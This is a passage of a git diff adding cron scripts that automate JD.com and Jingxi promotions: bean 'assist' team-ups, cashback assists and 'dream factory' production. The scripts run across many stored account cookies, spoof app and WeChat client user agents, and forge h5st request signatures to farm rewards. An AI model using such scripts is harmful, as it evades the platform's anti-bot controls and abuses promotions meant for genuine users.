Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_zjd.ts b/jd_zjd.ts new file mode 100644 index 0000000..df1337f --- /dev/null +++ b/jd_zjd.ts @@ -0,0 +1,145 @@ +/** + * v0.2 + * cron: 15,30,45 0 * * * + * CK1 优先助力HW.ts + */ + +import axios from "axios"; +import {zjdInit, zjdH5st} from "./utils/jd_zjd_tool.js"; +import {o2s, wait, requireConfig, getshareCodeHW} from "./TS_USER_AGENTS"; +import {SHA256} from "crypto-js"; + +let cookie: string = '', res: any = '', UserName: string +let shareCodeSelf: Tuan[] = [], shareCode: Tuan[] = [], shareCodeHW: any = [] + +interface Tuan { + activityIdEncrypted: string, // id + assistStartRecordId: string, // assistStartRecordId + assistedPinEncrypted: string, // encPin unique +} + +!(async () => { + let cookiesArr: string[] = await requireConfig() + for (let [index, value] of cookiesArr.entries()) { + try { + await zjdInit() + cookie = value + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) + + res = await api('distributeBeanActivityInfo', {"paramData": {"channel": "FISSION_BEAN"}}) + // o2s(res) + await wait(1000) + + if (res.data.assistStatus === 1) { + // 已开,没满 + console.log('已开团,', res.data.assistedRecords.length, '/', res.data.assistNum, ',剩余', Math.round(res.data.assistValidMilliseconds / 1000 / 60), '分钟') + shareCodeSelf.push({ + activityIdEncrypted: res.data.id, + assistStartRecordId: res.data.assistStartRecordId, + assistedPinEncrypted: res.data.encPin, + }) + } else if (res.data.assistStatus === 2 && res.data.canStartNewAssist) { + // 没开团 + res = await api('vvipclub_distributeBean_startAssist', {"activityIdEncrypted": res.data.id, "channel": "FISSION_BEAN"}) + // o2s(res) + await wait(1000) + if (res.success) { + console.log(`开团成功,结束时间:${res.data.endTime}`) + res = await api('distributeBeanActivityInfo', {"paramData": {"channel": "FISSION_BEAN"}}) + shareCodeSelf.push({ + activityIdEncrypted: res.data.id, + assistStartRecordId: res.data.assistStartRecordId, + assistedPinEncrypted: res.data.encPin, + }) + await wait(1000) + } + } else if (res.data.assistedRecords.length === res.data.assistNum) { + console.log('已成团') + if (res.data.canStartNewAssist) { + res = await api('vvipclub_distributeBean_startAssist', {"activityIdEncrypted": res.data.id, "channel": "FISSION_BEAN"}) + await wait(1000) + if (res.success) { + console.log(`开团成功,结束时间:${res.data.endTime}`) + res = await api('distributeBeanActivityInfo', {"paramData": {"channel": "FISSION_BEAN"}}) + shareCodeSelf.push({ + activityIdEncrypted: res.data.id, + assistStartRecordId: res.data.assistStartRecordId, + assistedPinEncrypted: res.data.encPin, + }) + await wait(1000) + } + } + } else if (!res.data.canStartNewAssist) { + console.log('不可开团') + } + } catch (e) { + continue + } + await wait(1000) + } + + o2s(shareCodeSelf) + await wait(2000) + + for (let [index, value] of cookiesArr.entries()) { + if (shareCodeHW.length === 0) { + shareCodeHW = await getshareCodeHW('zjd'); + } + shareCode = index === 0 + ? Array.from(new Set([...shareCodeHW, ...shareCodeSelf])) + : Array.from(new Set([...shareCodeSelf, ...shareCodeHW])) + + cookie = value + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) + + await zjdInit() + for (let code of shareCode) { + try { + console.log(`账号${index + 1} ${UserName} 去助力 ${code.assistedPinEncrypted.replace('\n', '')}`) + res = await api('vvipclub_distributeBean_assist', {"activityIdEncrypted": code.activityIdEncrypted, "assistStartRecordId": code.assistStartRecordId, "assistedPinEncrypted": code.assistedPinEncrypted, "channel": "FISSION_BEAN", "launchChannel": "undefined"}) + + if (res.resultCode === '9200008') { + console.log('不能助力自己') + } else if (res.resultCode === '2400203' || res.resultCode === '90000014') { + console.log('上限') + break + } else if (res.resultCode === '2400205') { + console.log('对方已成团') + } else if (res.resultCode === '9200011') { + console.log('已助力过') + } else if (res.success) { + console.log('助力成功') + } else { + console.log('error', JSON.stringify(res)) + } + } catch (e) { + console.log(e) + break + } + await wait(2000) + } + await wait(2000) + } +})() + +async function api(fn: string, body: object) { + let h5st = zjdH5st({ + 'fromType': 'wxapp', + 'timestamp': Date.now(), + 'body0': JSON.stringify(body), + 'appid': 'swat_miniprogram', + 'body': SHA256(JSON.stringify(body)).toString(), + 'functionId': fn, + }) + let {data} = await axios.post(`https://api.m.jd.com/api?functionId=${fn}&fromType=wxapp×tamp=${Date.now()}`, `functionId=distributeBeanActivityInfo&body=${encodeURIComponent(JSON.stringify(body))}&appid=swat_miniprogram&h5st=${encodeURIComponent(h5st)}`, { + headers: { + 'content-type': 'application/x-www-form-urlencoded', + 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E217 MicroMessenger/6.8.0(0x16080000) NetType/WIFI Language/en Branch/Br_trunk MiniProgramEnv/Mac', + 'referer': 'https://servicewechat.com/wxa5bf5ee667d91626/173/page-frame.html', + 'Cookie': cookie, + } + }) + return data +} \ No newline at end of file diff --git a/jx_aid_cashback.js b/jx_aid_cashback.js new file mode 100644 index 0000000..cb68b0d --- /dev/null +++ b/jx_aid_cashback.js @@ -0,0 +1,49 @@ +let common = require("./function/common"); +let $ = new common.env('京喜购物返红包助力'); +let min = 5, + help = $.config[$.filename(__filename)] || Math.min(min, $.config.JdMain) || min; +$.setOptions({ + headers: { + 'content-type': 'application/json', + 'user-agent': 'jdapp;iPhone;9.4.6;14.2;965af808880443e4c1306a54afdd5d5ae771de46;network/wifi;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone8,4;addressid/;supportBestPay/0;appBuild/167618;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'referer': 'https://happy.m.jd.com/babelDiy/Zeus/3ugedFa7yA6NhxLN5gw2L3PF9sQC/index.html?asid=287215626&un_area=12_904_905_57901&lng=117.612969135975&lat=23.94014745198865', + } +}); +$.readme = ` +在京喜下单,如订单有购物返现,脚本会自动查询返现groupid并予以助力,目前每个账号每天能助力3次 +44 */6 * * * task ${$.runfile} +export ${$.runfile}=2 #如需增加被助力账号,在这边修改人数 +` +eval(common.eval.mainEval($)); +async function prepare() { + let url = `https://wq.jd.com/bases/orderlist/list?order_type=3&start_page=1&last_page=0&page_size=10&callersource=newbiz&t=${$.timestamp}&traceid=&g_ty=ls&g_tk=606717070` + for (let j of cookies['help']) { + $.setCookie(j); + await $.curl(url) + try { + for (let k of $.source.orderList) { + try { + let orderid = k.parentId != '0' ? k.parentId : k.orderId + let url = `https://wq.jd.com/fanxianzl/zhuli/QueryGroupDetail?isquerydraw=1&orderid=${orderid}&groupid=&sceneval=2&g_login_type=1&g_ty=ls` + let dec = await jxAlgo.dec(url) + await $.curl(dec.url) + let now = parseInt(new Date() / 1000) + let end = $.source.data.groupinfo.end_time + if (end > now && $.source.data.groupinfo.openhongbaosum != $.source.data.groupinfo.totalhongbaosum) { + let groupid = $.source.data.groupinfo.groupid; + $.sharecode.push({ + 'groupid': groupid + }) + } + } catch (e) {} + } + } catch (e) {} + } +} +async function main(id) { + common.assert(id.groupid, '没有可助力ID') + let url = `http://wq.jd.com/fanxianzl/zhuli/Help?groupid=${id.groupid}&_stk=groupid&_ste=2&g_ty=ls&g_tk=1710198667&sceneval=2&g_login_type=1` + let dec = await jxAlgo.dec(url) + await $.curl(dec.url) + console.log($.source.data.prize.discount) +} diff --git a/jx_factory_automation.js b/jx_factory_automation.js new file mode 100644 index 0000000..27f1f66 --- /dev/null +++ b/jx_factory_automation.js @@ -0,0 +1,326 @@ +//20 * * * * m_jx_factory_automation.js +//问题反馈:https://t.me/Wall_E_Channel +const {Env} = require('./magic'); +const $ = new Env('M工厂自动化'); +let commodityName = process.env.M_JX_FACTORY_COMMODITY + ? process.env.M_JX_FACTORY_COMMODITY + : '你还没设置要生产的变量M_JX_FACTORY_COMMODITY' +let stop = false; +$.logic = async function () { + if (stop) { + return; + } + let info = await GetUserInfo(); + $.log(JSON.stringify(info)); + + if (!info) { + $.putMsg('没有找到工厂信息'); + return; + } + await GetUserComponent(info.user.encryptPin); + $.log(info.factoryList[0].name, '等级', info.user.currentLevel); + if (info?.productionList) { + let product = info?.productionList[0]; + if (product.investedElectric !== product.needElectric) { + $.log('还没有生产完成'); + return + } + let productionId = product.productionId; + await $.wait(300, 500) + let {active} = await ExchangeCommodity(productionId); + await $.wait(300, 500) + await QueryHireReward(); + await $.wait(300, 500) + await queryprizedetails(active) + await $.wait(300, 500) + } + let factoryId = info?.deviceList[0].factoryId; + $.log('获取工厂id', factoryId); + let deviceId = info?.deviceList[0].deviceId; + $.log('获取设备id', deviceId); + let {commodityList} = await GetCommodityList(); + let filter = commodityList.filter(o => o.name.includes(commodityName)); + if (filter.length === 1) { + let commodity = filter[0]; + if (commodity?.flashStartTime && commodity?.flashStartTime + > $.timestamp()) { + $.log(`还没到时间`) + return; + } + let data = await GetCommodityDetails(commodity.commodityId); + await $.wait(300, 500) + let newVar = await AddProduction(factoryId, deviceId, data.commodityId); + if (newVar?.productionId) { + $.putMsg(`${data.name}已经开始生产`) + info = await GetUserInfo(); + let product = info?.productionList[0]; + let productionId = product.productionId; + await InvestElectric(productionId);//添加电力 + await InvestElectric(productionId); + } + } else { + $.putMsg(`没找到你要生产的 ${commodityName}`) + stop = true; + } +}; + +$.run({ + wait: [2000, 3000] +}).catch( + reason => $.log(reason)); + +async function InvestElectric(productionId) { + let url = `https://m.jingxi.com/dreamfactory/userinfo/InvestElectric?zone=dream_factory&productionId=${productionId}&_time=1637743936757&_ts=1637743936757&_=1637743936758&sceneval=2&g_login_type=1&callback=jsonpCBKR&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn' + } + // noinspection DuplicatedCode + headers['Cookie'] = $.cookie + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + if (data?.ret === 0) { + return data?.data + } + return false; +} + +async function AddProduction(factoryId, deviceId, commodityDimId) { + let url = `https://m.jingxi.com/dreamfactory/userinfo/AddProduction?zone=dream_factory&factoryId=${factoryId}&deviceId=${deviceId}&commodityDimId=${commodityDimId}&replaceProductionId=&_time=1637282973549&_ts=1637282973549&_=1637282973550&sceneval=2&g_login_type=1&callback=jsonpCBKGGG&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + if (data?.ret === 0) { + return data?.data + } else { + $.putMsg(data?.msg) + } + return false; +} + +async function GetDeviceDetails() { + let url = `https://m.jingxi.com/dreamfactory/diminfo/GetDeviceDetails?zone=dream_factory&deviceId=1&_time=1637282971386&_ts=1637282971386&_=1637282971386&sceneval=2&g_login_type=1&callback=jsonpCBKFFF&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + if (data?.ret === 0) { + return data?.data + } + return false; +} + +async function GetUserComponent(pin) { + let url = `https://m.jingxi.com/dreamfactory/usermaterial/GetUserComponent?zone=dream_factory&pin=${pin}&_time=1637282950558&_ts=1637282950559&sceneval=2&g_login_type=1&_=1637282951435&sceneval=2&g_login_type=1&callback=jsonpCBKSS&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + if (data?.ret === 0) { + return data?.data + } + return false; +} + +// noinspection DuplicatedCode +async function GetUserInfo() { + let url = `https://m.jingxi.com/dreamfactory/userinfo/GetUserInfo?zone=dream_factory&pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=&needPickSiteInfo=1&source=&_time=1637282934811&_ts=1637282934811&timeStamp=&h5st=20211119084854812%3B5505286748222516%3Bc0ff1%3Btk02w96e01bc918n2aG34crijQCFgW%2BYZgoTBRpLWz6TM%2FWXRBmShiIQLtGvxCMJkN0g1uyofC04iuOhphAyAm66c3U5%3B2b53e58445b6ec6a5487e95f6aeae526c6c93b4724a0e54e03f3a8105f1caea6%3B3.0%3B1637282934812&_stk=_time%2C_ts%2CmaterialTuanId%2CmaterialTuanPin%2CneedPickSiteInfo%2Cpin%2CsharePin%2CshareType%2Csource%2CtimeStamp%2Czone&_ste=1&_=1637282934818&sceneval=2&g_login_type=1&callback=jsonpCBKY&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + if (data?.ret === 0) { + return data?.data + } + return false; +} + +// noinspection DuplicatedCode +async function ExchangeCommodity(productionId) { + let url = `https://m.jingxi.com/dreamfactory/userinfo/ExchangeCommodity?zone=dream_factory&productionId=${productionId}&exchangeType=1&_time=1637282949946&_ts=1637282949946&_=1637282949947&sceneval=2&g_login_type=1&callback=jsonpCBKJJ&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + if (data?.ret === 0) { + return data?.data + } + return false; +} + +// noinspection DuplicatedCode +async function GetCommodityList() { + let url = `https://m.jingxi.com/dreamfactory/diminfo/GetCommodityList?zone=dream_factory&flag=2&pageNo=1&pageSize=12&_time=1636619666773&_ts=1636619666773&_=1636619666773&sceneval=2&g_login_type=1&callback=jsonpCBKKK&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + if (data?.ret === 0) { + return data?.data + } + return false; +} + +// noinspection DuplicatedCode +async function GetCommodityDetails(commodityId) { + let url = `https://m.jingxi.com/dreamfactory/diminfo/GetCommodityDetails?zone=dream_factory&commodityId=${commodityId}&_time=1636437544857&_ts=1636437544857&_=1636437544857&sceneval=2&g_login_type=1&callback=jsonpCBKWWW&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + return data?.data?.commodityList?.[0] +} + +async function queryprizedetails(actives) { + let url = `https://m.jingxi.com/active/queryprizedetails?actives=${actives}&_time=1637282950925&_ts=1637282950925&_=1637282950925&sceneval=2&g_login_type=1&callback=jsonpCBKQQ&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + if (data?.ret === 0) { + return data?.data + } + return false; +} + +async function QueryHireReward() { + let url = `https://m.jingxi.com/dreamfactory/friend/QueryHireReward?zone=dream_factory&_time=1637282950550&_ts=1637282950550&_=1637282950550&sceneval=2&g_login_type=1&callback=jsonpCBKLL&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + if (data?.ret === 0) { + return data?.data + } + return false; +} + +async function GetShelvesList() { + let url = `https://m.jingxi.com/dreamfactory/userinfo/GetShelvesList?zone=dream_factory&pageNo=1&pageSize=12&_time=1637282954475&_ts=1637282954475&_=1637282954475&sceneval=2&g_login_type=1&callback=jsonpCBKVV&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + if (data?.ret === 0) { + return data?.data + } + return false; +} \ No newline at end of file diff --git a/jx_factory_commodity.js b/jx_factory_commodity.js new file mode 100644 index 0000000..41bf5e1 --- /dev/null +++ b/jx_factory_commodity.js @@ -0,0 +1,97 @@ +//1 0,8-18/3 * * * m_jx_factory_commodity.js +//问题反馈:https://t.me/Wall_E_Channel +const {Env} = require('./magic'); +const $ = new Env('M京喜工厂商品'); +$.logic = async function () { + let {commodityList} = await GetCommodityList(); + for (let i = 0; i < commodityList.length; i++) { + let data = await GetCommodityDetails(commodityList[i].commodityId); + let s = ''; + let hb = data.description.match(/红包[0-9]+(\.?[0-9]+)?元/g) + || data.description.match(/以[0-9]+(\.?[0-9]+)?元/g); + if (hb) { + s = hb[0].replace('以', '红包'); + } else { + let ms = data.description.match(/支付[0-9]+(\.?[0-9]+)?元/g); + if (ms?.length === 1) { + s = ms[0] + } else { + s = ''; + } + } + console.log(`${data.name} ${s}`) + if (s) { + if (s.match(/[0-9]+(\.?[0-9]+)?/g)[0] * 1 < 10) { + $.putMsg(`【${data.name}】 ${s}`) + } + } else { + $.putMsg(`【${data.name}】${data.name}`) + } + + await $.wait(2000, 3000) + } +} + +$.run({ + bot: true, + delimiter: '\n', + whitelist: [1] +}).catch( + reason => $.log(reason)); + +/** + * 商品列表 + * + * try {jsonpCBKKK({"data":{"commodityList":[{"commodityId":1977,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"内蒙古、海南、西藏、甘肃、青海、宁夏、新疆、台湾、朝阳区、钓鱼岛、石家庄市、邢台市、保定市、张家口市、承德市、廊坊市、衡水市、郑州市、商丘市、周口市、大连市、哈尔滨市、佳木斯市、黑河市、大兴安岭地区、盐城市、常州市、淄博市、临沂市、日照市、长沙市、衡阳市、上饶市、成都市、自贡市、阿坝州、遵义市、西安市、宝鸡市、海淀区、丰台区、门头沟、通州区、顺义区、昌平区、江北区、渝中区、港澳、海外不发货","flashStartTime":0,"label":0,"limitEndTime":0,"limitStartTime":0,"limitType":4,"name":"收纳罐套装","picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/206532/12/7952/7263/6180e459E8b1a3bf2/cc2183b1abde0cf3.png","predictProductionDays":"1","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productionTotal":8938,"raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":1,"showStock":0,"starLevel":1,"status":1,"stockNum":534,"userLimitNum":2},{"commodityId":1998,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"内蒙古、西藏、甘肃、青海、宁夏、新疆、台湾、钓鱼岛、黑河市、播州区、五莲县、红花岗区、汇川区、信都区、襄都区、港澳、海外、北七家镇不发货","flashStartTime":0,"label":0,"limitEndTime":0,"limitStartTime":0,"limitType":0,"name":"虫草花","picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/169987/13/24100/43372/618b85d7E3eef1f38/d4eea0fbc7fda08a.png","predictProductionDays":"5","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productionTotal":1408,"raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":1,"showStock":0,"starLevel":2,"status":1,"stockNum":3594,"userLimitNum":1},{"commodityId":1999,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"西藏、甘肃、新疆、台湾、钓鱼岛、哈尔滨市、港澳、海外不发货","flashStartTime":0,"label":0,"limitEndTime":0,"limitStartTime":0,"limitType":0,"name":"桌面收纳柜","picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/204474/24/14755/28897/618b7dfcE6fe73b24/bbbbf32a50ebf0d9.png","predictProductionDays":"6","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productionTotal":10053,"raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":1,"showStock":0,"starLevel":3,"status":1,"stockNum":2950,"userLimitNum":1},{"commodityId":1958,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"甘肃、青海、新疆、台湾、钓鱼岛、尚义县、清镇市、仁怀市、银川市、雁塔区、红花岗区、汇川区、长安区、信都区、襄都区、未央区、阎良区、新城区、港澳、海外、莲池区不发货","flashStartTime":1636632000,"label":0,"limitEndTime":0,"limitStartTime":0,"limitType":4,"name":"美的微波炉","picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/170109/37/22755/7422/6178b994Ea776a3b2/372067cdacb2e4c3.png","predictProductionDays":"1","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productionTotal":8,"raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":1,"showStock":0,"starLevel":1,"status":1,"stockNum":1,"userLimitNum":1},{"commodityId":1984,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"海南、西藏、新疆、台湾、钓鱼岛、港澳、海外不发货","flashStartTime":0,"label":0,"limitEndTime":0,"limitStartTime":0,"limitType":0,"name":"拉面碗4个装","picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/161607/9/21878/8106/6180fb2dEe528464a/65d83198fb081c85.png","predictProductionDays":"7","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productionTotal":28886,"raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":1,"showStock":0,"starLevel":3,"status":1,"stockNum":1115,"userLimitNum":1},{"commodityId":1988,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"西藏、青海、新疆、长宁区、闵行区、青浦区不发货","flashStartTime":0,"label":0,"limitEndTime":0,"limitStartTime":0,"limitType":0,"name":"汤勺漏勺4支装","picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/216578/33/2811/7981/6180fc82E1dce001d/8537f027ba303dfc.png","predictProductionDays":"4","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productionTotal":11260,"raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":1,"s